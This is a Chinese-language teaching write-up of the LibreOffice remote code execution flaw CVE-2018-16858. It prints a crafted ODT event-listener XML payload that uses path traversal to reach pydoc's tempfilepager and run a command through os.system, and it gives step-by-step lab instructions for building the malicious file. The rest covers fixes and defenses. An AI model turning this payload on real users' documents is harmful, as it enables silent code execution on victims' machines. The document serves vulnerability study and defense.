Libreoffice 远程代码执行漏洞(CVE-2018-16858) 分析
字数 2210 2025-08-29 08:32:00
LibreOffice 远程代码执行漏洞(CVE-2018-16858) 分析教学文档
漏洞概述
CVE-2018-16858 是 LibreOffice 中的一个远程代码执行漏洞,攻击者可以通过精心构造的 ODT 文档在受害者打开文件并执行特定操作(如鼠标悬停)时执行任意代码,且不会弹出任何安全警告。
漏洞影响
- 影响版本:LibreOffice 6.1.2.1 及之前版本
- 影响平台:Windows 和 Linux 系统
- 攻击场景:用户只需打开恶意 ODT 文件并将鼠标移到特定位置
- 安全限制绕过:无需用户确认,直接执行代码
技术背景
ODT 文件结构
ODT 文件本质上是包含结构化描述文件的 ZIP 压缩包,类似于 DOCX 格式。关键元素包括:
office:scripts元素:用于定义文档中的脚本script:event-listener元素:定义事件监听器
LibreOffice 脚本支持
LibreOffice 支持多种脚本语言:
- Basic
- BeanShell
- Java
- JavaScript
- Python
漏洞原理
正常功能分析
LibreOffice 允许通过以下方式嵌入脚本:
- 通过界面插入:Writer → Insert → Hyperlink → 齿轮图标
- 选择事件(如
onmouseover) - 指定脚本语言和位置
生成的 XML 结构示例:
<script:event-listener
script:language="ooo:script"
script:event-name="dom:mouseover"
xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&location=share"
xlink:type="simple"/>
其中 xlink:href 指定了:
- 脚本路径:
pythonSamples|TableSample.py - 函数名:
createTable - 语言:Python
- 位置:
share(表示 LibreOffice 安装目录下的共享脚本)
漏洞成因
-
路径遍历问题:攻击者可以修改
xlink:href属性,通过路径遍历技术指向系统任意位置的 Python 脚本修改后的恶意示例:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../../TableSample.py$createTable?language=Python&location=share" xlink:type="simple"/> -
不安全函数调用:LibreOffice 自带的 Python 脚本中包含危险函数
关键危险函数位于:
C:\Program Files\LibreOffice\program\python-core-3.5.5\lib\pydoc.pydef tempfilepager(text, cmd): """Page through text by invoking a program on a temporary file.""" import tempfile filename = tempfile.mktemp() with open(filename, 'w', errors='backslashreplace') as file: file.write(text) try: os.system(cmd + ' "' + filename + '"') finally: os.unlink(filename)此函数直接将用户控制的
cmd参数传递给os.system(),导致命令注入。
漏洞利用
利用步骤
-
构造恶意 ODT 文件,修改
script:event-listener元素:<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1,calc.exe)?language=Python&location=share" xlink:type="simple"/> -
当用户鼠标悬停在超链接上时:
- LibreOffice 会加载
pydoc.py脚本 - 调用
tempfilepager函数 - 执行
os.system("calc.exe") - 弹出计算器(证明代码执行)
- LibreOffice 会加载
利用限制绕过
-
location 参数尝试:
location=document:会弹出禁用宏的警告location=user:尝试利用用户目录,但 ODT 文件头限制导致失败
-
最终方案:
- 利用 LibreOffice 自带的危险 Python 函数
- 通过路径遍历定位到系统敏感位置
漏洞修复
官方修复
LibreOffice 官方已发布安全公告:
https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/
修复措施包括:
- 限制脚本加载路径
- 增加安全警告机制
- 审查自带脚本的安全性
临时缓解措施
- 升级到最新版本
- 禁用 LibreOffice 的脚本支持
- 谨慎打开来源不明的 ODT 文件
漏洞报告时间线
- 初始通过 bugzilla 上报
- 被要求通过邮件发送至 officesecurity@lists.freedesktop.org
- 经过重新审查后被确认
- 最终修复并发布公告
教学实验
实验环境搭建
- 安装易受攻击版本:LibreOffice 6.1.2.1
- 准备 Windows 或 Linux 测试环境
- 安装 ProcessMonitor(Windows)或 strace(Linux)用于监控
实验步骤
- 创建正常 ODT 文件包含脚本事件监听器
- 使用压缩工具解压 ODT 文件
- 修改
content.xml中的script:event-listener元素 - 重新压缩为 ODT 文件
- 在监控工具下打开文件并触发事件
实验注意事项
- 必须在隔离环境中进行测试
- 不要使用真实系统关键路径进行测试
- 建议使用虚拟机和快照功能
防御建议
-
用户层面:
- 保持 LibreOffice 更新到最新版本
- 不要打开不可信的 ODT 文件
- 在沙箱环境中处理可疑文档
-
开发者层面:
- 严格验证脚本加载路径
- 实现安全的脚本执行沙箱
- 审查所有自带脚本的安全性
- 对危险函数调用增加警告机制
-
企业层面:
- 部署文档安全网关
- 监控异常 Office 进程行为
- 制定文档处理安全规范
扩展研究
- 研究其他 Office 套件中的类似机制
- 分析 ODF 标准中的安全考虑
- 探索其他可能被利用的 Python 标准库函数
- 研究跨平台利用的差异性
总结
CVE-2018-16858 展示了办公软件中脚本功能可能带来的严重安全风险,特别是在:
- 路径验证不严格
- 危险函数暴露
- 安全警告缺失
这种漏洞可以被用于针对性攻击,且隐蔽性高。防御需要多层次的安全措施,从软件本身的安全设计到用户的安全意识都至关重要。